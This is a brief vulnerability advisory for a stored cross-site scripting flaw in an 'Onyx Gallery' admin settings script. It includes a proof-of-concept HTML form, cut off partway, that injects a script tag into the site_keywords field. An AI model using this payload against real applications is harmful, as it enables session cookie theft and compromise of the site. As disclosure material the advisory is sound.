Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the admin/settings/update script to properly sanitize user-supplied input in "setting[site_keywords]" and "setting[site_description]" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/admin/settings/update" method="post" name="main" >
<input type="hidden" name="setting[site_title]" value="My Onyx Gallery" />
<input type="hidden" name="setting[site_keywords]" value='Ruby on Rails Gallery"><script>alert(document.cookie)</script>' />
